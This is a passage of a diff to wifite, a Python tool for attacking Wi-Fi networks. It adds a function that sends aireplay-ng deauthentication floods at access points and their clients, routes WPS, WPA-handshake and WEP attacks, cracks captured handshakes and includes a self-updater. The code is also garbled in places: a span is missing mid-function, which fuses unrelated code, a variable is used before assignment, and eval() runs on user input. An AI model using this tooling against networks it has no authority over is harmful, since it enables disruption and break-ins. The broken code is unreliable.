'wifite-01.cap') + # Use "wash" program to check for WPS compatibility + if not self.RUN_CONFIG.WPS_CHECK_DISABLE and not self.RUN_CONFIG.SCAN_FILE_LOAD: + wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap') - remove_airodump_files(self.RUN_CONFIG.temp + 'wifite') + if self.RUN_CONFIG.SCAN_FILE_SAVE != "": + copy(self.RUN_CONFIG.temp + 'wifite-01.csv', self.RUN_CONFIG.SCAN_FILE_SAVE + ".csv") #time.strftime("%Y-%m-%d %H %M %S") + copy(self.RUN_CONFIG.temp + 'wifite-01.cap', self.RUN_CONFIG.SCAN_FILE_SAVE + ".cap") #time.strftime("%Y-%m-%d %H %M %S") - if stop_scanning: - return (targets, clients) - print '' + remove_airodump_files(self.RUN_CONFIG.temp + 'wifite') + else: + println_info("opening AP file " +self.RUN_CONFIG.SCAN_FILE_LOAD + ".csv/.cap") + (targets, clients) = self.parse_csv(self.RUN_CONFIG.SCAN_FILE_LOAD + ".csv") + targets=self.add_known_ssid(targets) + wps_check_targets(targets, self.RUN_CONFIG.SCAN_FILE_LOAD + '.cap', False) + # if stop_scanning: + # return (targets, clients) + print '' + if len(targets) == 0: - print R + ' [!]' + O + ' no targets found!' + W - print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W + println_error('no targets found!') + println_error('you may need to wait for targets to show up.') print '' self.RUN_CONFIG.exit_gracefully(1) @@ -1264,149 +1533,466 @@ def scan(self, channel=0, iface='', tried_rtl8187_fix=False): # Sort by Power targets = sorted(targets, key=lambda t: t.power, reverse=True) - victims = [] - print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ( - 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') - print ' --- -------------------- %s-- ---- ----- ---- ------' % ( - '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '') - for i, target in enumerate(targets): - print " %s%2d%s " % (G, i + 1, W), - # SSID - if target.ssid == '': - p = O + '(' + target.bssid + ')' + GR + ' ' + W - print '%s' % p.ljust(20), - elif ( target.ssid.count('\x00') == len(target.ssid) ): - p = '' - print '%s' % C + p.ljust(20) + W, - elif len(target.ssid) <= 20: - print "%s" % C + target.ssid.ljust(20) + W, - else: - print "%s" % C + target.ssid[0:17] + '...' + W, - # BSSID - if self.RUN_CONFIG.SHOW_MAC_IN_SCAN: - print O, target.bssid + W, - # Channel - print G + target.channel.rjust(3), W, - # Encryption - if target.encryption.find("WEP") != -1: - print G, - else: - print O, - print "\b%3s" % target.encryption.strip().ljust(4) + W, - # Power - if target.power >= 55: - col = G - elif target.power >= 40: - col = O - else: - col = R - print "%s%3ddb%s" % (col, target.power, W), - # WPS - if self.RUN_CONFIG.WPS_DISABLE: - print " %3s" % (O + 'n/a' + W), - else: - print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W), - # Clients - client_text = '' - for c in clients: - if c.station == target.bssid: - if client_text == '': - client_text = 'client' - elif client_text[-1] != "s": - client_text += "s" - if client_text != '': - print ' %s' % (G + client_text + W) - else: - print '' - - ri = raw_input( - GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \ - " separated by commas, or '%s': " % (G + 'all' + W)) - if ri.strip().lower() == 'all': - victims = targets[:] + #victims = [] + victim_must_exist=False + + if self.RUN_CONFIG.SHOW_TARGET != "": + targets=self.filter_targets(targets,clients,self.RUN_CONFIG.SHOW_TARGET) + self.print_targets(targets, clients, self.RUN_CONFIG.SCAN_MAX_ROW_SHOW, self.RUN_CONFIG.COLUMN,self.RUN_CONFIG.SPACING) + if(self.RUN_CONFIG.ATTACK_TARGET == ""): + ri = self.get_input(len(targets)) + victim_must_exist= True else: - for r in ri.split(','): - r = r.strip() - if r.find('-') != -1: - (sx, sy) = r.split('-') - if sx.isdigit() and sy.isdigit(): - x = int(sx) - y = int(sy) + 1 - for v in xrange(x, y): - victims.append(targets[v - 1]) - elif not r.isdigit() and r.strip() != '': - print O + " [!]" + R + " not a number: %s " % (O + r + W) - elif r != '': - victims.append(targets[int(r) - 1]) - - if len(victims) == 0: - print O + '\n [!] ' + R + 'no targets selected.\n' + W - self.RUN_CONFIG.exit_gracefully(0) - + ri=self.RUN_CONFIG.ATTACK_TARGET + + while True: + victims=self.filter_targets(targets, clients, ri) + if len(victims) == 0: + println_warning('no targets selected.' + W) + if victim_must_exist: + ri=self.get_input(len(targets)); + else: + self.RUN_CONFIG.exit_gracefully(0) + else: + break print '' - print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's') + println_info('%s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')) return (victims, clients) + def get_input(self, max): + return raw_input((GR + "\n [+]" + W + " enter " + G + "target numbers" + W + " (" + G + "1-%s" + W + ")") % (str(max)) + \ + (" separated by commas, range (e.g.'" + G + "1-2" + W + "'), or wildcards: %s, ") % (G + 'c[num/range]' + W + ' for channel, ' + G + 'p[>=,>,=,<,<=][num]' + W + ' for power, ' + G + 'wep' + W + ', ' + G + 'wep[num of client]' + W + ' or ' + G + 'wep+' + W + " with client, " + G + 'wpa' + W + ' (same syntax as wep), ' + G + 'wps[0,1,2]' + W + '(0=no, 1=yes, 2=lock), ' + G + 'e[SSID][+]' +W +', ' + G + 'b[BSSID][+]' + W + ' or ' + G + 'all' + W) + \ + "blank input = " + G + "all" + W + ", add " + G + '-' + W + " before to remove:" ) + def deauth(self, target, clients, time_started, iface, wait = False): + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), + '-a', target.bssid] + associated_clients=target.find_clients(clients) + messages=[] + if len(associated_clients): + bssid=associated_clients[random.randint(0, len(associated_clients)-1)].bssid + cmd.append('-c') + cmd.append(bssid) + messages.append(G + ' [!] ' + W + "%s deauthing hidden access point (%s) with client (%s)" % \ + (GR + sec_to_hms(time.time() - time_started) + W, G + target.bssid + W, G + bssid + W )) + #print G + ' [!] ' + W + "%s deauthing hidden access point (%s) with client (%s)" % \ + #(GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid) + W, G + bssid + W + else: + messages.append(G + ' [!] ' + W + "%s deauthing hidden access point (%s) with no client" % \ + (GR + sec_to_hms(time.time() - time_started) + W, G + target.bssid + W)) + #print G + ' [!] ' + W + "%s deauthing hidden access point (%s) with no client" % \ + #(GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W) + cmd.append(iface) + + proc_aireplay=Popen(cmd, stdout=DN, stderr=DN) + if wait: + proc_aireplay.wait() + return messages + def add_known_ssid(self,targets): + for i,t in enumerate(targets): + if targets[i].ssid == '': + for d in self.RUN_CONFIG.DECLOAKED_TARGETS: + if targets[i].bssid == d.bssid: + targets[i].ssid=d.ssid + break + return targets + def is_timeout(self, time_started, targets, clients, quiet = True): + timeouts=self.RUN_CONFIG.SCAN_TIMEOUT + + if timeouts == "": + return False + + if isinstance(timeouts,int): + timeout=int(timeouts) + if timeout != 0 and timeout < time.time()-time_started: + return True + else: + + for timeout in timeouts.split(","): + timeout=timeout.strip() + if timeout.isdigit(): + timeout=int(timeout) + if timeout != 0 and timeout < time.time()-time_started: + return True + elif re.match('^n(<|>|=|>=|<=)(\d+)$',timeout): #target + matches=re.match('^n(<|>|=|>=|<=)(\d+)$',timeout) + result=matches.groups() + num_of_targets=len(targets) + return eval(str(num_of_targets) + result[0] + result[1]) + #elif re.match('^t(<|>|=|>=|<=)(\d+)$',timeout): #time + elif re.match('^b([a-zA-z:0-9]+)(\+)?$',timeout): #BSSID + matches=re.match('^b([a-zA-z:0-9]+)(\+)?$',timeout) + result=matches.groups() + bssid=result[0].upper() + for target in targets: + if target.bssid.find(bssid) != -1: + if result[1] == None or (result[1]=="+" and target.count_clients(clients) > 0): + return True + elif re.match('^e(.*)(\+)?$',timeout) or re.match('^e(.*)(\+)$',timeout): #ESSID + matches=re.match('^e(.*)(\+)?$',timeout) + if re.match('^e(.*)(\+)$',timeout): matches=re.match('^e(.*)(\+)$',timeout) + result=matches.groups() + ssid=result[0] + + for target in targets: + if ssid == target.ssid or (ssid != "" and target.ssid.find(ssid) != -1): + if result[1] == None or (result[1]=="+" and target.count_clients(clients) > 0): + return True + else: + if not quiet: + println_error("unknown timeout criteria: %s",timeout) + return False + #return self.RUN_CONFIG.SCAN_TIMEOUT != 0 and self.RUN_CONFIG.SCAN_TIMEOUT < time.time()-time_started + + def print_target(self, target, clients, i, spacing): + separator=' ' + print_text="" + print_text+= '%s%3d%s' % (G, i + 1, W) + print_text+= separator*spacing + + # SSID + max_length=25 + if target.ssid == '': + p = '(' + target.bssid + ')' + print_text+=O + p.ljust(max_length) + W + elif ( target.ssid.count('\x00') == len(target.ssid) ): + p = '' + print_text+= '%s' % C + p.ljust(max_length) + W + elif len(target.ssid) <= max_length: + print_text+= "%s" % C + target.ssid.ljust(max_length) + W + else: + print_text+= "%s" % C + target.ssid[0:max_length-3] + '...' + W + print_text+= separator*spacing - def Start(self): - self.RUN_CONFIG.CreateTempFolder() - self.RUN_CONFIG.handle_args() - self.RUN_CONFIG.ConfirmRunningAsRoot() - self.RUN_CONFIG.ConfirmCorrectPlatform() + # BSSID + if self.RUN_CONFIG.SHOW_MAC_IN_SCAN: + print_text+= O + target.bssid + W + print_text+= separator*spacing - self.initial_check() # Ensure required programs are installed. + # Channel + print_text+= G + target.channel.rjust(2)+ W + print_text+= separator*spacing - # Use an interface already in monitor mode if it has been provided, - if self.RUN_CONFIG.MONITOR_IFACE != '': - iface = self.RUN_CONFIG.MONITOR_IFACE + # Encryption + if target.encryption.find("WEP") != -1: + print_text+= G + else: + print_text+= O + print_text+="%s" % target.encryption.strip().ljust(8) + W + print_text+= separator*spacing + + # Power + if target.power >= 55: + col = G + elif target.power >= 40: + col = O + else: + col = R + print_text+="%s%2d%s" % (col, target.power, W) + print_text+=separator*spacing + + # WPS + #if self.RUN_CONFIG.WPS_DISABLE: + # print " %3s" % (O + 'n/a' + W), + #else: + if target.wps_locked: + print_text+=R + "lock" + W else: - # The "get_iface" method anonymizes the MAC address (if needed) - # and puts the interface into monitor mode. - iface = self.get_iface() - self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address + print_text+=" %s" % (G + 'yes' + W if target.wps else R + ' no' + W) + + print_text+=separator*spacing + + # Clients + count = target.count_clients(clients) + if count > 0: + print_text+="%s" % (G + str(count).rjust(6) + W) + else: + print_text+="%s" % (G + separator.rjust(6) + W) + print print_text, + def print_targets(self, targets, clients, max_rows=0, columns = 1, spacing = 1): + #spacing -=1 # Python 2 will add space automatically between consecutive print statement + headers=["No.","ESSID","BSSID","CH"," CIPHER","PW","WPS","CLIENT"] + sizes=[3,25,17,2,8,2,4,6] + shows=[True,True,self.RUN_CONFIG.SHOW_MAC_IN_SCAN,True,True,True,True,True] + + if len(targets) == 0: + return + header_text="" + for i in range(0,columns): + for j in range(0,len(headers)): + if shows[j]: + header_text += headers[j].ljust(sizes[j]) + str(' ' * spacing) + if i+1 != columns: + header_text += " " + header_text+="\n" + + for i in range(0,columns): + for j in range(0,len(headers)): + if shows[j]: + header_text+= '-' * sizes[j] + ' ' * spacing + if i+1 != columns: + header_text += " " + + print header_text + + + + total_targets=len(targets) + if max_rows > 0 and rows > max_rows: + total_targets=max_rows * columns + + rows=int(math.ceil(total_targets/(0.0 + columns))) + + for i in range(0,rows): + #if max_rows > 0 and i>=max_rows: + # break + for j in range(0,columns): + idx=rows*j+i + if idx 0 or result[1].isdigit() and num_of_clients == int(result[1]): + if remove: + try: + victims.remove(target) + except ValueError: + pass + else: + try: + victims.index(target) + except ValueError: + victims.append(target) + elif re.match('^wps(0|1|2)$',r): + matches=re.match('^wps(0|1|2)$',r) + result=matches.groups() + comparison=bool(int(result[0])) + #print comparison + if remove: + for victim in victims: + if victim.wps==comparison: + if result[0]=='0' or result[0] == '1' and not target.wps_locked or result[0] == '2' and target.wps_locked: + try: + victims.remove(target) + except ValueError: + pass + + else: + for target in targets: + if target.wps==comparison: + if result[0]=='0' or result[0] == '1' and not target.wps_locked or result[0] == '2' and target.wps_locked: + try: + victims.index(target) + except ValueError: + victims.append(target) + elif re.match('^e(.*)(\+)?$',r) or re.match('^e(.*)(\+)$',r): #ESSID + matches=re.match('^e(.*)(\+)?$',r) + if re.match('^e(.*)(\+)$',r): matches=re.match('^e(.*)(\+)$',r) + result=matches.groups() + ssid=result[0] + if remove: + for victim in victims: + if ssid == victim.ssid or (ssid != "" and victim.ssid.find(ssid) != -1): + if result[1] == None or (result[1] == "+" and victim.count_clients(clients) > 0): + victims.remove(victim) + + else: + for target in targets: + if ssid == target.ssid or (ssid != "" and target.ssid.find(ssid) != -1): + if result[1] == None or (result[1] == "+" and target.count_clients(clients) > 0): + try: + victims.index(target) + except ValueError: + victims.append(target) + elif re.match('^b([a-zA-z:0-9]+)(\+)?$',r): + matches=re.match('^b([a-zA-z:0-9]+)(\+)?$',r) + result=matches.groups() + bssid=result[0].upper() + #print result[0] + if remove: + for victim in victims: + if victim.bssid.find(bssid) != -1: + if result[1] == None or (result[1] == "+" and victim.count_clients(clients) > 0): + victims.remove(victim) + else: + for target in targets: + if target.bssid.find(bssid) != -1: + if result[1] == None or (result[1] == "+" and target.count_clients(clients) > 0): + try: + victims.index(target) + except ValueError: + victims.append(target) + elif re.match('^c([1-9]|1[012])(\-([1-9]|1[012]))?$',r): + matches=re.match('^c([1-9]|1[012])(\-([1-9]|1[012]))?$',r) + result=matches.groups() + if result[1] == None: + cx = int(result[0]) + if remove: + for victim in victims: + if victim.channel == cx: + victims.remove(victim) + else: + for target in targets: + if target.channel == cx: + try: + victims.index(target) + except ValueError: + victims.append(target) + else: + cx = int(result[0]) + cy = int(result[2]) + if cx > cy: + println_warning("Invalid input: %s " % (O + r + W)) + else: + if remove: + for victim in victims: + if victim.channel >= cx and victim.channel <= cy: + victims.remove(victim) + else: + for target in targets: + if target.channel >= cx and target.channel <= cy: + try: + victims.index(target) + except ValueError: + victims.append(target) + + elif re.match('^\d+\-\d+$',r): #Range + (sx, sy) = r.split('-') + x = int(sx) + y = int(sy) + 1 + for v in xrange(x, y): + target=targets[v - 1] + if remove: + try: + victims.remove(target) + except ValueError: + pass + else: + try: + victims.index(target) + except ValueError: + victims.append(target) + elif re.match('^p(<|>|=|>=|<=)(\d+)$',r): #Power + matches=re.match('^p(<|>|=|>=|<=)(\d+)$',r) + result=matches.groups() + for target in targets: + if eval(str(target.power) + result[0] + result[1]): + if remove: + try: + victims.remove(target) + except ValueError: + pass + else: + try: + victims.index(target) + except ValueError: + victims.append(target) + + elif r.isdigit(): + i=int(r) + if i>0 and i<= len(targets): + target=targets[i-1] + if remove: + try: + victims.remove(target) + except ValueError: + pass + else: + try: + victims.index(target) + except ValueError: + victims.append(target) + + else: + println_warning("invalid input: %s " % (O + input + W)) + else: + println_warning("invalid input: %s " % (O + input + W)) + + return victims + def Start(self): + + + + # The "get_iface" method anonymizes the MAC address (if needed) + # and puts the interface into monitor mode. + iface = self.get_iface() + self.IFACE_TO_TAKE_DOWN=iface + + if len(iface.monitor_mode): + iface=iface.monitor_mode[0] + #else: + # iface=iface + #self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL) try: index = 0 - while index < len(targets): - target = targets[index] + for index,target in enumerate(targets): # Check if we have already cracked this target for already in RUN_CONFIG.CRACKED_TARGETS: - if already.bssid == targets[index].bssid: + if already.bssid == target.bssid: if RUN_CONFIG.SHOW_ALREADY_CRACKED == True: - print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W - print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"') + println_info('you have already cracked %s (%s), key is "%s" !' % (C + already.ssid + W , G + already.bssid + W, G + already.key + W)) ri = raw_input( GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ') if ri.lower() == 'n': targets.pop(index) - index -= 1 else: targets.pop(index) - index -= 1 break # Check if handshakes already exist, ask user whether to skip targets or save new handshakes - handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \ - + '_' + target.bssid.replace(':', '-') + '.cap' + handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + str(target) + '.cap' if os.path.exists(handshake_file): - print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W) - print ' %s\n' % (G + handshake_file + W) - print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?' - ri = 'x' - while ri != 's' and ri != 'c' and ri != 'o': - ri = raw_input( - GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower() - print W + "\b", - if ri == 's': - targets.pop(index) - index -= 1 - elif ri == 'o': - remove_file(handshake_file) - continue - index += 1 + + if not RUN_CONFIG.WPA_RECAPTURE_HS: + targets.pop(index) + println_info('you already have a handshake file for %s (%s) at "%s", target skipped.' % (C + target.ssid + W), (C + target.bssid + W), (G + handshake_file + W)) + else: + println_info('you already have a handshake file for %s (%s) at "%s", will be overwritten.' % (C + target.ssid + W), (C + target.bssid + W), (G + handshake_file + W)) + #println_info('do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?') + #ri = 's' + #while ri != 's' and ri != 'c' and ri != 'o': + # ri = raw_input( + # GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower() + #print W + "\b", + #if ri == 's': + # targets.pop(index) + # index -= 1 + #elif ri == 'o': + # remove_file(handshake_file) + # continue except KeyboardInterrupt: print '\n ' + R + '(^C)' + O + ' interrupted\n' @@ -1430,7 +2016,7 @@ def Start(self): print '' if t.encryption.find('WPA') != -1: need_handshake = True - if not self.RUN_CONFIG.WPS_DISABLE and t.wps: + if (not self.RUN_CONFIG.WPS_PIN_ATTACK_DISABLE or not self.RUN_CONFIG.WPS_DUST_ATTACK_DISABLE) and t.wps: wps_attack = WPSAttack(iface, t, self.RUN_CONFIG) need_handshake = not wps_attack.RunAttack() wpa_total += 1 @@ -1438,7 +2024,7 @@ def Start(self): if not need_handshake: wpa_success += 1 if self.RUN_CONFIG.TARGETS_REMAINING < 0: break - if not self.RUN_CONFIG.WPA_DISABLE and need_handshake: + if not self.RUN_CONFIG.WPA_ATTACK_DISABLE and need_handshake: wpa_total += 1 wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG) if wpa_attack.RunAttack(): @@ -1449,9 +2035,10 @@ def Start(self): wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG) if wep_attack.RunAttack(): wep_success += 1 - + elif t.encryption.find("OPN") != -1: + println_info('OPN network is not encrypted!') else: - print R + ' unknown encryption:', t.encryption, W + println_error('unknown encryption: ' + t.encryption) # If user wants to stop attacking if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break @@ -1459,8 +2046,7 @@ def Start(self): if wpa_total + wep_total > 0: # Attacks are done! Show results to user print '' - print GR + ' [+] %s%d attack%s completed:%s' % ( - G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W) + println_info('%s%d attack%s completed:%s' % (G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)) print '' if wpa_total > 0: if wpa_success == 0: @@ -1487,15 +2073,47 @@ def Start(self): print ' ' + C + finding + W caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK) - if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK: - print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % ( - G, caps, W if caps == 1 else 's' + W) + if caps > 0 and self.RUN_CONFIG.WPA_CRACK: + println_info('starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % ( + G, caps, W if caps == 1 else 's')) for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK: - wpa_crack(cap) + w=WPAAttack(None,None,None,self.RUN_CONFIG) + w.crack(cap) print '' self.RUN_CONFIG.exit_gracefully(0) - + def parse_row_to_client(self, cells): + bssid = re.sub(r'[^a-zA-Z0-9:]', '', cells[0].strip()) + station = re.sub(r'[^a-zA-Z0-9:]', '', cells[5].strip()) + power = cells[3].strip() + essid = ",".join(cells[6:]).strip() + if station != 'notassociated': + return Client(bssid, station, power, essid) + return None + def parse_row_to_target(self, row): + if len(row) < 14: + return None + enc = row[5].strip() + wps = False + + #if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue + #if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue + #if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find( + # 'WPA') != -1: continue + if enc == "WPA2WPA": + # enc = "WPA2" + wps = True + power = int(row[8].strip()) + + ssid = row[13].strip() + ssidlen = int(row[12].strip()) + ssid = ssid[:ssidlen] + + if power < 0: power += 100 + + t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid, wps) + #t.wps = wps + return t def parse_csv(self, filename): """ Parses given lines from airodump-ng CSV file. @@ -1508,46 +2126,33 @@ def parse_csv(self, filename): hit_clients = False with open(filename, 'rb') as csvfile: targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',') + for row in targetreader: + if len(row) < 2: continue if not hit_clients: - if len(row) < 14: - continue - if row[0].strip() == 'Station MAC': - hit_clients = True + if len(row) < 1: continue + if row[0].strip() == 'Station MAC': hit_clients = True if row[0].strip() == 'BSSID' or row[0].strip() == 'Station Mac': continue - enc = row[5].strip() - wps = False - if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue - if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue - if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find( - 'WPA') != -1: continue - if enc == "WPA2WPA": - enc = "WPA2" - wps = True - power = int(row[8].strip()) - - ssid = row[13].strip() - ssidlen = int(row[12].strip()) - ssid = ssid[:ssidlen] - - if power < 0: power += 100 - t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid) - t.wps = wps - targets.append(t) + if len(row) < 14: continue + try: + target=self.parse_row_to_target(row) + if target: + targets.append(target) + except ValueError: + println_error("Error prasing %s" % ",".join(row)) + pass else: + if len(row) < 6: continue - bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip()) - station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip()) - power = row[3].strip() - if station != 'notassociated': - c = Client(bssid, station, power) - clients.append(c) + + client=self.parse_row_to_client(row) + if client: + clients.append(client) except IOError as e: - print "I/O error({0}): {1}".format(e.errno, e.strerror) - return ([], []) + println_error("I/O error({0}): {1}".format(e.errno, e.strerror)) return (targets, clients) @@ -1557,57 +2162,59 @@ def analyze_capfile(self, capfile): Prints results to console. """ # we're not running an attack - wpa_attack = WPAAttack(None, None, None) - + wpa_attack = WPAAttack(None, None, None,self.RUN_CONFIG) + capobject=None if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '': - print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes' - print R + ' [!]' + O + ' please enter essid (access point name) using -e ' - print R + ' [!]' + O + ' and/or target bssid (mac address) using -b \n' + println_error('target ssid and bssid are required to check for handshakes') + println_error('please enter essid (access point name) using --e ') + println_error('and/or target bssid (mac address) using --b \n') # exit_gracefully(1) - if self.UN_CONFIG.TARGET_BSSID == '': + if self.RUN_CONFIG.TARGET_BSSID == '': # Get the first BSSID found in tshark! - self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile) + capobject=CapFile(capfile,self.RUN_CONFIG.TARGET_ESSID) + self.RUN_CONFIG.TARGET_BSSID = capobject.bssid # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == '' if self.RUN_CONFIG.TARGET_BSSID == '': - print R + ' [!]' + O + ' unable to guess BSSID from ESSID!' + println_error('unable to guess BSSID from ESSID!') else: - print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W) + println_info('guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)) if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '': - self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile) + capobject=CapFile(capfile,"",self.RUN_CONFIG.TARGET_ESSID) + self.RUN_CONFIG.TARGET_ESSID = capobject.ssid - print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W) + println_info(' checking for handshakes in %s' % (G + capfile + W)) t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID) - if program_exists('pyrit'): + if file_search('pyrit'): result = wpa_attack.has_handshake_pyrit(t, capfile) - print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % ( - G + 'found!' + W if result else O + 'not found' + W) + println_info(' ' + G + 'pyrit' + W + ':\t\t\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W)) else: - print R + ' [!]' + O + ' program not found: pyrit' - if program_exists('cowpatty'): + println_error('program not found: pyrit') + if file_search('cowpatty'): result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True) - print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % ( - G + 'found!' + W if result else O + 'not found' + W) + println_info(' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W)) result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False) - print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % ( - G + 'found!' + W if result else O + 'not found' + W) + println_info(' ' + G + 'cowpatty' + W + ' (strict):\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W)) else: - print R + ' [!]' + O + ' program not found: cowpatty' - if program_exists('tshark'): + println_error('program not found: cowpatty') + if file_search('tshark'): result = wpa_attack.has_handshake_tshark(t, capfile) - print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % ( - G + 'found!' + W if result else O + 'not found' + W) + println_info(' ' + G + 'tshark' + W + ':\t\t\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W)) else: - print R + ' [!]' + O + ' program not found: tshark' - if program_exists('aircrack-ng'): + println_error('program not found: tshark') + if file_search('aircrack-ng'): result = wpa_attack.has_handshake_aircrack(t, capfile) - print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % ( - G + 'found!' + W if result else O + 'not found' + W) + println_info(' ' + G + 'aircrack-ng' + W + ':\t\t %s' % ( + G + 'found!' + W if result else O + 'not found' + W)) else: - print R + ' [!]' + O + ' program not found: aircrack-ng' + println_error('program not found: aircrack-ng') print '' @@ -1619,8 +2226,49 @@ def analyze_capfile(self, capfile): ################## ############################################################## -### End Classes +### End Classes + +def println_debug(message, time_started = -1): + global RUN_CONFIG + if RUN_CONFIG.DEBUG: + print G + ' [#] ' + W + message + W + +def print_info(message, time_started = -1): + time_text='' + if time_started > -1: + time_text=sec_to_hms(time.time() - time_started) + print GR + ' [+] ' + W + time_text + message + W, + +def println_info(message, time_started = -1): + time_text='' + if time_started > -1: + time_text=sec_to_hms(time.time() - time_started) + print GR + ' [+] ' + W + time_text + message + W + +def print_error(message, time_started = -1): + time_text='' + if time_started > -1: + time_text=sec_to_hms(time.time() - time_started) + print R + ' [!] ' + O + time_text + message + W, + +def println_error(message, time_started = -1): + time_text='' + if time_started > -1: + time_text=sec_to_hms(time.time() - time_started) + print R + ' [!] ' + O + time_text + message + W + +def print_warning(message, time_started = -1): + time_text='' + if time_started > -1: + time_text=sec_to_hms(time.time() - time_started) + print O + ' [!] ' + R + time_text + message + W, + +def println_warning(message, time_started = -1): + time_text='' + if time_started > -1: + time_text=sec_to_hms(time.time() - time_started) + print O + ' [!] ' + R + time_text + message + W def rename(old, new): """ Renames file 'old' to 'new', works with separate partitions. @@ -1656,116 +2304,321 @@ def banner(RUN_CONFIG): print G + " " + GR + "/ \\" + G + " " print W +def do_update(buff): + + # Create/save the new script + f = open('wifite_new.py', 'w') + f.write(buff) + f.close() + + # The filename of the running script + this_file = __file__ + if this_file.startswith('./'): + this_file = this_file[2:] + + # create/save a shell script that replaces this script with the new one + f = open('update_wifite.sh', 'w') + f.write('''#!/bin/sh\n + rm -rf ''' + this_file + '''\n + mv wifite_new.py ''' + this_file + '''\n + rm -rf update_wifite.sh\n + chmod +x ''' + this_file + '''\n + ''') + f.close() + + # Change permissions on the script + returncode = call(['chmod', '+x', 'update_wifite.sh']) + if returncode != 0: + println_error('permission change returned unexpected code: ' + str(returncode)) + self.exit_gracefully(1) + # Run the script + returncode = call(['sh', 'update_wifite.sh']) + if returncode != 0: + println_error('update script returned unexpected code: ' + str(returncode)) + self.exit_gracefully(1) + + println_info('updated!' + W + ' type "./' + this_file + '" to run again') +def get_file(url): + try: + sock = urllib.urlopen(url) + response = sock.read() + except IOError: + return False -def get_revision(): + return response + +def get_revision(buff): """ - Gets latest revision # from the GitHub repository + Gets latest revision # from buffer Returns : revision# """ irev = -1 - try: - sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py') - page = sock.read() - except IOError: - return (-1, '', 